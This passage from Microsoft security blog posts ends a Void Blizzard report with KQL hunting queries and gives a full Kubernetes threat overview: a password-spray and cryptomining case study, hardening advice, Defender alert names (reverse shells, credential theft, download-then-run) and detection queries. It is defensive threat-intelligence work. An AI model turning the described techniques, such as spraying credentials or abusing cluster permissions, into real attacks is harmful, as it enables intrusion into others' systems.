     on $left.OnPremSid == $right.InitiatingProcessAccountSid and $left.RemoteUrl == $right.UrlClickedByUserSid
  | distinct UrlDeviceClickTime, RemoteUrl, NetworkMessageId, RecipientEmailAddress, RecipientObjectId, 
      OnPremSid, UrlClickedByUserSid, DeviceName, DeviceId, InitiatingProcessFileName 
  | sort by UrlDeviceClickTime desc

Anomalies in MailItemAccess by GraphAPI

This query looks for anomalies in mail item access events made by Graph API. It uses standard deviation to determine if the number of events is anomalous.

let starttime = 30d;
  let STDThreshold = 2.5;
  let allMailAccsessByGraphAPI = CloudAppEvents
  | where   ActionType == "MailItemsAccessed"
  | where Timestamp between (startofday(ago(starttime))..now())
  | where isnotempty(RawEventData['ClientAppId'] ) and RawEventData['AppId'] has "00000003-0000-0000-c000-000000000000"
  | extend ClientAppId = tostring(RawEventData['ClientAppId'])
  | extend OperationCount = toint(RawEventData['OperationCount'])
  | project Timestamp,OperationCount , ClientAppId;
  let calculateNumberOfMailPerDay = allMailAccsessByGraphAPI
  | summarize NumberOfMailPerDay =sum(toint(OperationCount)) by ClientAppId,format_datetime(Timestamp, 'y-M-d');
  let calculteAvgAndStdev=calculateNumberOfMailPerDay
  | summarize avg=avg(NumberOfMailPerDay),stev=stdev(NumberOfMailPerDay) by ClientAppId;
  calculteAvgAndStdev  | join calculateNumberOfMailPerDay on ClientAppId
  | sort by ClientAppId
  |  where NumberOfMailPerDay > avg + STDThreshold * stev
  | project ClientAppId,Timestamp,NumberOfMailPerDay,avg,stev

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, on X (formerly Twitter) at https://x.com/MsftSecIntel, and on Bluesky at https://bsky.app/profile/threatintel.microsoft.com.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post New Russia-affiliated actor Void Blizzard targets critical sectors for espionage appeared first on Microsoft Security Blog.

Microsoft released and updated the threat matrix for Kubernetes, an active knowledge base for security threats that target Kubernetes clusters, to systematically map the attack surface of Kubernetes. We also worked with MITRE to develop the ATT&CK® for Containers matrix in 2021. As the adoption of containers-as-a-service among organizations rises, Microsoft Threat Intelligence continues to monitor the unique security threats that affect containerized environments.

Threats in Kubernetes environments

Containerized assets (including Kubernetes clusters, Kubernetes nodes, Kubernetes workloads, container registries, container images, and more) are at risk of several different types of attacks. To fully secure containerized workloads, organizations must secure the containers and the code running within them, software dependencies and libraries, continuous integration and continuous delivery (CI/CD) pipelines, runtime, and more.

Threats in Kubernetes environments can come from six primary areas:

• Compromised accounts: In cases where Kubernetes clusters are deployed in public clouds (such as Azure Kubernetes Service (AKS) or Google Kubernetes Engine (GKE)), compromised cloud credentials could lead to cluster takeover, as attackers who have access to account credentials can get access to the cluster’s management layer.
• Vulnerable or misconfigured images: Images that are not updated regularly might contain vulnerabilities that can be exploited in malicious attacks.
• Environment misconfigurations: An attacker with access to the Kubernetes API, either through exposed management interfaces or lack of appropriate authentication/authorization controls, could completely take down the server, deploy malicious containers, or hijack the entire cluster.
• App-level attacks: Applications could be exploited through several typical methods, such as SQL injection, cross-site scripting, and remote file inclusion.
• Node-level attacks: Attackers can gain initial access through nodes (host machines that containers run on) that run on vulnerable code or software, have open management interfaces such as SSH, or run commands from the cloud control plane. There is also the risk of pod escape, where a compromised pod can provide access to the node or to other pods in the cluster.
• Unauthorized traffic: Insecure networking between the different containers within the cluster and between the pods and outside world could be subject to malicious traffic if not secured.

Case study: Password spray attack leads to containers being used for cryptomining

In the past year, Microsoft Threat Intelligence has observed AzureChecker threats (tracked as Storm-1977) launching password spray attacks against cloud tenants in the education sector. The attack involves the use of AzureChecker.exe, a Command Line Interface (CLI) tool that is being used by a wide range of threat actors.

We observed that AzureChecker.exe connected to sac-auth[.]nodefunction[.]vip to download AES-encrypted data that when decrypted reveals the list of password spray targets. The tool then also accepted the file accounts.txt, which contained the username and password combinations to be used for the attack, as input. The threat actor then used the information from both files and posted the credentials to the target tenants for validation.

Microsoft Threat Intelligence was able to observe an instance of successful account compromise and found that the threat actor leveraged a guest account to create a resource group within the compromised subscription. The threat actor then created more than 200 containers within the resource group and used them for cryptomining activity.  

Securing containerized environments

The following best practices can help secure containerized assets against commonly observed threats.

Secure code prior to deployment

Ensuring that containers have secure code prior to deployment is essential to preventing issues during deployment and runtime. To facilitate this, Microsoft Defender for Cloud scans container images for vulnerabilities and misconfigurations and alerts customers of issues before a container is deployed.

Defender for Cloud DevOps also provides visibility into the security posture of the CI/CD platform. Additional best practices such as restricting access to DevOps tooling, using a secret store instead of hard-coding secrets in code or documentation, and using hardened DevOps workstations to build and deploy code can help prevent security issues before code is deployed.

Secure container deployment and runtime

Container deployment refers to the phase of the lifecycle where container images are pulled from the static container registry to be run on virtual machines hosts. During deployment, you should ensure the following best security practices:

• Ensure containers are immutable: Prevent patches from running containers whenever possible. As best practice, if you notice that a running container needs updates, you should rebuild the image and deploy the new container. Introducing new code in running containers can introduce new vulnerabilities, bypass secure development lifecycle protections, as well as pose an operational risk in case a container is restarted and run again with the original container image content without any runtime modifications.
• Leverage Admission Controllers: Configure policies to prevent containers from being deployed from untrusted registries, from running out of alignment with the minimal Pod Security Standard that fits the pod requirement (such as restricting root privileges), and from utilizing too many resources in the event of a denial-of-service attack. These can be enforced with Azure Policy Add-On for Kubernetes.
• Gate deployments of vulnerable images: Ensure that the containers being deployed are free of vulnerabilities and misconfigurations by running a vulnerability scan in the Build and Ship phases. Any image with high or critical severity vulnerabilities should be blocked from deployment.

Container runtime refers to the phase of the lifecycle where containers are running on the virtual hosts. During runtime, monitor your running containers for any new vulnerabilities that might have been introduced during runtime. In cases where a container image was not scanned in build time or in registry before being deployed to the cluster, Microsoft Defender Vulnerability Management supports Azure vulnerability assessments.

Additionally, monitor each node, pod, and container during runtime for any sort of anomalous or malicious activity that may be occurring:

• Look for malicious API calls and unusual activity using a monitoring system to identify any unusual Kubernetes API server requests for malicious activity. Defenders can query Kubernetes API calls in Defender XDR advanced hunting using the CloudAuditEvents table.
• For AKS clusters, Container Insights offers the ability to collect Syslog events from Linux nodes, to then be accessed within Azure’s built-in workbooks.

Defender for Containers’ Agentless discovery for Kubernetes provides API-based discovery of Kubernetes clusters, their configurations, and deployments. Defender for Cloud also identifies runtime threats at both the API level and the workload level. Additionally, organizations can use Microsoft Defender for Cloud to identify and remediate attack paths to address any potential attack vectors.

Secure user accounts and permissions

Attackers are increasingly using compromised identities for initial access and for establishing long-term persistence within an environment. If a compromised user has access to Kubernetes services, an attacker could use that identity to access those services using portal access or the command-line interface. In cases where Kubernetes clusters are deployed in public clouds (such as AKS in Azure or GKE in Google Cloud Platform (GCP)), compromised cloud credentials could lead to cluster takeover as attackers who have access to account credentials can get access to the cluster’s management layer.

The following recommendations, focused on requiring strong authentication to services and following the principle of least privilege, can help secure cloud credentials from compromise:

• Use strong authentication when exposing sensitive interfaces to the internet. For example, attacks were observed against exposed Kubeflow and Argo workloads that were not configured to use OpenID Connect or other authentication methods.
• Use strong authentication methods to the Kubernetes API to help prevent attackers from gaining access to the cluster even if valid credentials such as kubeconfig were achieved. For example, in AKS use Entra ID authentication instead of basic authentication. By using Entra ID authentication, a short-lived credential of the cluster is retrieved after authenticating to Entra ID.
• Avoid using the read-only endpoint of Kubelet in port 10255, which doesn’t require authentication. In newer versions of managed clusters, this port is disabled.
• Implement multifactor authentication (MFA).
• Configure the Kubernetes role-based access controls (RBAC) for each user and service accounts to have only necessary permissions. This applies also to other external authorization providers such as Azure RBAC in AKS.
• In a managed cluster, Kubernetes credentials are often retrieved or generated by the cloud provider through API call. To reduce the attack surface, grant permissions to the cloud provider API only to necessary accounts. In the case of Azure, make sure that only required identities have permissions to call: /subscriptions/resourceGroups/providers/Microsoft.ContainerService/managedClusters/listClusterUserCredential
• The kubeconfig file can contain credentials of accounts that allow interaction with a cluster. By applying the least privilege principle to all accounts, you can limit the impact of an account compromised through the kubeconfig file. To further limit misuse of the kubeconfig file, enable Microsoft Entra-based authentication to AKS and disable the local admin account, avoiding the use of the kubeconfig file altogether.

The Kubernetes project also lists the following recommendations for permissions and role assignment best practices:

• Avoid wildcard permissions, especially to all resources.
• Use RoleBinding instead of ClusterAdminBinding to give access within a namespace.
• Avoid adding users to the system:master group as it bypasses RBAC.
• Use impersonation rights for admins instead of adding to the cluster admin role. Audit and monitor when impersonation is being done.
• Avoid granting the escalate or bind permissions to roles when not needed, audit and monitor when escalation is being made.
• Avoid adding users to the system:unauthenticated group.
• Limit permissions to issue certificate signing requests (CSR) and certificates.
• Avoid granting users with create rights on service accounts/token, which could be exploited to create TokenRequests and issue tokens for existing service accounts.
• Users with control over validatingwebhookconfigurations or mutatingwebhookconfigurations can control webhooks that can read any object admitted to the cluster, and in the case of mutating webhooks, also mutate admitted objects

Secure container images

• Secure the CI/CD environment. Secure code repositories and CI/CD environment by placing gates to restrict unauthorized access and modification of content. This can include enforcing RBAC permissions to access and make changes to code, artifacts and build pipelines, ensure governed process for pull-request approval, apply branch policies and others.
• Apply image assurance policy to evaluate container images against vulnerabilities, malware, exposed secrets or other policies. By ensuring consistent and comprehensive image assurance policy across the build, ship, and run development stages. One approach of ensuring images pass assurance or compliance checks it to sign the container images, so the image signature can be checked downstream when deploying to Kubernetes clusters at runtime.
• Take and store data backups from pod-mounted volumes for critical workloads. Ensure backup and storage systems are hardened and kept separate from the Kubernetes environment to prevent compromise.

Restrict network traffic

The Kubernetes API server is the gateway to the cluster. Restricting access to the API server, as well as restricting how pods can communicate, can prevent unwanted access to the clusters management, even if an adversary gained valid credentials to the cluster. The following best practices can help harden clusters against attacks.

• Restrict access to the API server using intrusion detection signatures, network policies, and a web application firewall to block traffic at network boundaries to pods and services in a Kubernetes cluster. In managed clusters, cloud providers often support native built-in firewalls, which can restrict the IP addresses that are allowed to access the API server.
  • Implement a Next-Generation Firewall (NGFW) such as Azure Firewall, which offers a solution for AKS to monitor inbound and outbound traffic. You can integrate Azure Firewall as well as several third-party firewalls into Azure Sentinel to accumulate all logs into a centralized location. AKS also supports Retina, a cloud-agnostic platform for analysis of Kubernetes’ workload traffic.
  • Use Kubernetes network policies to control traffic and manage how pods communicate.
  • Adapt a network intrusion prevention solution to a Kubernetes environment if needed, in order to route network traffic destined to services through the security solution. In some cases, this can be done by deploying a containerized version of a network intrusion prevention solution to the Kubernetes cluster and be part of the cluster network, and in some cases, routing ingress traffic to Kubernetes services through an external appliance, requiring that all ingress traffic only come from such an appliance.
• Enable Just In Time (JIT) access to the API server through Microsoft Entra conditional access. Employing JIT elevated access to the Kubernetes API server helps reduce the attack surface by allowing access only at specific times, and through a governed escalation process. Enabling JIT access in Kubernetes is often done together with OpenID authentication, which includes processes and tools to manage JIT access. One example of such OpenID authentication is Azure Active Directory authentication to Kubernetes clusters. The JIT approval is performed in the cloud control plane level. Therefore, even if attackers have access to account credentials, their access to the cluster is limited.
• Limit access to services over network. Avoid exposing sensitive interfaces insecurely to the internet or limit access to it. Sensitive interfaces include management tools and applications that allow the creation of new containers in the cluster. Some of those services do not use authentication by default and are not intended to be exposed. Examples of services that were exploited include Weave Scope, Apache NiFi, and more.
  • If services need to be exposed to the internet and are exposed using a LoadBalancer service, use IP restriction (loadBalancerSourceRanges) when possible. This reduces the attack surface of the application and can prevent attackers from being able to reach the sensitive interfaces.

Detection details

Microsoft Defender for Cloud

Microsoft Defender for Containers provides security alerts on the cluster level and on the underlying cluster nodes by monitoring both the control plane (the API server) and the containerized workload itself.

• Exposed Postgres service with trust authentication configuration in Kubernetes detected (Preview)
• Exposed Postgres service with risky configuration in Kubernetes detected (Preview)
• Attempt to create a new Linux namespace from a container detected
• A history file has been cleared
• Abnormal activity of managed identity associated with Kubernetes (Preview)
• Abnormal Kubernetes service account operation detected
• An uncommon connection attempt detected
• Attempt to stop apt-daily-upgrade.timer service detected
• Behavior similar to common Linux bots detected (Preview)
• Command within a container running with high privileges
• Container running in privileged mode
• Container with a sensitive volume mount detected
• CoreDNS modification in Kubernetes detected
• Creation of admission webhook configuration detected
• Detected file download from a known malicious source
• Detected suspicious file download
• Detected suspicious use of the nohup command
• Detected suspicious use of the useradd command
• Digital currency mining container detected
• Digital currency mining related behavior detected
• Docker build operation detected on a Kubernetes node
• Exposed Kubeflow dashboard detected
• Exposed Kubernetes dashboard detected
• Exposed Kubernetes service detected
• Exposed Redis service in AKS detected
• Indicators associated with DDOS toolkit detected
• K8S API requests from proxy IP address detected
• Kubernetes events deleted
• Kubernetes penetration testing tool detected
• New container in the kube-system namespace detected
• New high privileges role detected
• Possible attack tool detected
• Possible backdoor detected
• Possible command line exploitation attempt
• Possible credential access tool detected
• Possible Cryptocoinminer download detected
• Possible Log Tampering Activity Detected
• Possible password change using crypt-method detected
• Potential port forwarding to external IP address
• Potential reverse shell detected
• Privileged container detected
• Process associated with digital currency mining detected
• Process seen accessing the SSH authorized keys file in an unusual way
• Role binding to the cluster-admin role detected
• Security-related process termination detected
• SSH server is running inside a container
• Suspicious file timestamp modification
• Suspicious request to Kubernetes API
• Suspicious request to the Kubernetes Dashboard
• Potential crypto coin miner started
• Suspicious password access
• Possible malicious web shell detected
• Burst of multiple reconnaissance commands could indicate initial activity after compromise
• Suspicious Download Then Run Activity
• Access to kubelet kubeconfig file detected
• Access to cloud metadata service detected
• MITRE Caldera agent detected

Recent updates to Microsoft Defender for Cloud enhance its container security capabilities from development to runtime. Defender for Cloud now offers enhanced discovery, providing agentless visibility into Kubernetes environments, tracking containers, pods, and applications. The updates also strengthen security posture through continuous and granular scanning from build to runtime, helping maintain compliance and secure configurations across the SDLC.

Defender for Cloud’s native integration with Defender XDR enables threat protection with real-time monitoring, prioritizing vulnerabilities based on risk and enabling SOC analysts to detect and respond to threats faster through rich contextual insights and cloud-native response tools

Microsoft Defender for Endpoint

Microsoft Defender for Endpoint also detects threats on endpoints running container hosts, focusing on suspicious behavior commonly observed on endpoints, including stealing locally stored credentials for accessing the cloud, downloading and running malicious images, and privilege escalation from dockers to hosts.

Microsoft Defender External Attack Surface Management

Microsoft Defender External Attack Surface Management detects Docker and Kubernetes instances with known vulnerabilities or misconfigurations using the following alerts:

• ASI: Open Docker Daemon API Service
• ASI: Unauthenticated Kubelet API

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Hunting queries

In addition to the below hunting queries, the open-source tool KubiScan, developed by CyberArk Labs, can be used to scan clusters for risky permissions and users. Results can be used to manage RBAC within the environment and eliminate unnecessary permissions; it can also be used in incident response to identify the potential exposure of compromised users.

Microsoft Defender XDR

In addition to viewing alerts and incidents within Defender XDR, you can now use Azure Resource Manager (ARM) logs as well as Kubernetes audits logs for further investigation using the advanced hunting capabilities.

If a hunting query provides a good indicator of malicious or unsanctioned activity in your environment, you can create a custom rule detection in the Defender XDR portal by going to the Advanced unting page > Manage rules > Create custom detection.

Privileged pod deployment

The following query surfaces deployment of a privileged pod:

CloudAuditEvents 
| where Timestamp > ago(1d) 
| where DataSource == "Azure Kubernetes Service" 
| where OperationName == "create" 
| where RawEventData.ObjectRef.resource == "pods" and isnull(RawEventData.ObjectRef.subresource) 
| where RawEventData.ResponseStatus.code startswith "20" 
| extend PodName = RawEventData.RequestObject.metadata.name 
| extend PodNamespace = RawEventData.ObjectRef.namespace 
| mv-expand Container = RawEventData.RequestObject.spec.containers 
| extend ContainerName = Container.name 
| where Container.securityContext.privileged == "true" 
| extend Username = RawEventData.User.username 
| project Timestamp, AzureResourceId , OperationName, IPAddress, UserAgent, PodName, PodNamespace, ContainerName, Username

Exec command

The following query identifies use of the exec command in the kube-system namespace:

CloudAuditEvents 
| where Timestamp > ago(1d) 
| where DataSource == "Azure Kubernetes Service" 
| where OperationName == "create" 
| where RawEventData.ObjectRef.resource == "pods" and RawEventData.ResponseStatus.code == 101   
| where RawEventData.ObjectRef.namespace == "kube-system" 
| where RawEventData.ObjectRef.subresource == "exec" 
| where RawEventData.ResponseStatus.code == 101 
| extend RequestURI = tostring(RawEventData.RequestURI) 
| extend PodName = tostring(RawEventData.ObjectRef.name) 
| extend PodNamespace = tostring(RawEventData.ObjectRef.namespace) 
| extend Username = tostring(RawEventData.User.username) 
| where PodName !startswith "tunnelfront-" and PodName !startswith "konnectivity-" and PodName !startswith "aks-link" 
| extend Commands =  extract_all(@"command=([^\&]*)", RequestURI) 
| extend ParsedCommand = url_decode(strcat_array(Commands, " ")) 
| project Timestamp, AzureResourceId , OperationName, IPAddress, UserAgent, PodName, PodNamespace,  Username, ParsedCommand

Cluster-admin role binding

The following query identifies the creation of cluster-admin role binding:

CloudAuditEvents 
| where Timestamp > ago(1d) 
| where OperationName == "create" 
| where RawEventData.ObjectRef.resource == "clusterrolebindings" 
| where RawEventData.ResponseStatus.code startswith "20" 
| where RawEventData.RequestObject.roleRef.name == "cluster-admin" 
| mv-expand Subject = RawEventData.RequestObject.subjects 
| extend SubjectName = tostring(Subject.name) 
| extend SubjectKind = tostring(Subject["kind"])  
| extend BindingName = tostring(RawEventData.ObjectRef.name) 
| extend ActionTakenBy = tostring(RawEventData.User.username) 
| where ActionTakenBy != "acsService" //Remove FP 
| project Timestamp, AzureResourceId , OperationName, ActionTakenBy, IPAddress, UserAgent, BindingName, SubjectName, SubjectKind 

References

• KubiScan
• Learn Kubernetes Basics

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Understanding the threat landscape for Kubernetes and containerized assets appeared first on Microsoft Security Blog.